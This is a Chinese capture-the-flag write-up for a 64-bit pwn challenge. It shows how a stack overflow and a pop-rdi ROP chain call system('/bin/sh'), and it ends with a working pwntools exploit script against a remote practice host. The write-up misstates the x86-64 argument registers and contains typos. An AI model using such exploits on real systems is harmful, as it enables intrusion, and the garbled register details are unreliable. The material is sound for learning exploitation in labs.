当前位置: 首页 > news >正文

PWN手成长之路-05-ROP

image

与远程环境进行交互,可以进行输入,但是输入之后无任何回显。
image

file 查看文件。64位 ELF 。
image

checksec 查看文件安全属性。
image

IDA 打开文件。查看 main 函数的反编译代码。
image

查看 buf 这个字符数组(栈上的缓冲区),本身 buf 有0x20的字节,另外在 buf 之后,栈上还有 8 字节的保存寄存器(Saved Regs)和 8 字节的返回地址(Return Address)**(对应汇编中的  s 和 r,各占 8 字节)。
image

ALT+B 进行搜索字符串:/bin,找到了后门函数。
image

并且在 say_hello 函数中发现了 system 这个提权函数。
image
image

双击这个 _system 函数,从而得到其地址。这个地址就是最后 system_addr 的地址。
image
image

原本的计划是通过栈溢出覆盖返回地址,直接调用 /bin/sh 字符串地址,再跳转到 system 函数(即缝合为 system("/bin/sh")),但是目标程序开启了 NX 保护,导致栈内存不可执行,无法直接注入并运行 shell ,因此,需要采用 ROP(Return-Oriented Program) 技术绕过NX保护。

利用目标程序中已有的 pop rdi; ret 等gadget 设置函数参数,如将 /bin/sh 地址传入 RDI 寄存器,劫持控制流程到已经存在的 system 函数地址,实现 system("/bin/sh") 的调用,ROP 通过组合现有的代码片段(gadget)完成攻击,无需在栈上执行新代码,从而绕过 NX 限制。

但在漏洞利用的过程中,需要重点关注目标程序的调用约定。由于 32 位程序通过栈传递参数,而 amd64(x86_64) 程序的前六个参数,依次保存在 RDP、RSI、RCX、R8、R9 寄存器中,查出部分才会通过栈传递。因此在构造 ROP 链时,兽药典是需要确定 RDI 寄存器的地址,可以通过以下的命令来查询程序 RDI 寄存器的地址:
ROPgadget --binary pwn | grep 'pop rdi'
image

构造 exp:
流程:填充数据+rdi_addr+shell_addr+system_addr

from pwn import *  r=remote('node5.buuoj.cn',25975)  
rdi_addr=0x400663  
shell_addr=0x601048  
system_addr=0x400480      
payload=b'a'*(0x20+8)+p64(rdi_addr)+p64(shell_addr)+p64(system_addr)  
r.sendline(payload)  
r.interactive()
http://www.sczhlp.com/news/151888/

相关文章:

  • 随机采样研究随笔
  • Python 正则表达式实战:一文搞定文本处理
  • 9月30号
  • 网站设计一般多少钱西安做网站建设哪家好
  • 分类网站 制作《语文建设》网站
  • 为什么用Vue做网站的很少详情页设计教程
  • 成都网站建设有名的公司php网站开发教案
  • 有哪些公司的网站设计的好温州网站排名团队
  • 怎么做网络推广网站北京确诊病例活动轨迹公布
  • 信息产业部 备案网站建设网站是做什么
  • wordpress的标签是什么学seo如何入门
  • 优秀企业网站欣赏店名设计房产网站设计公司
  • 网站设计的背景浙江省网站icp备案
  • 网站ip改变 备案网站开发竞品分析
  • 越南网站怎么做wordpress文章字体大小
  • 浙江省建设部网站网站开发基本流程
  • 永城做网站网站自然排名优化
  • 如何做电影网站推广钦北区网站建设
  • 网站seo心态wordpress 生成js
  • 建立网站服务器wordpress 自动保存
  • 卡盟网站开发建立网站难吗
  • 大连建站模板制作福州关键词优化平台
  • 杭州富阳区网站建设公司工业设计专业最好的大学世界排名
  • 动态速写网站吃什么补肾治早射
  • 广州网站建设如何做毕业设计购物网站开发的意义
  • 网站设计简单网页网页网站设计价格
  • 网站模板教程小何自助建站
  • 青海省建设厅勘察设计备案网站网站开发设计工程师工作前景
  • 我想做网站怎么做网络推广营销网站建设专家
  • 西安网站seo优化wordpress code editor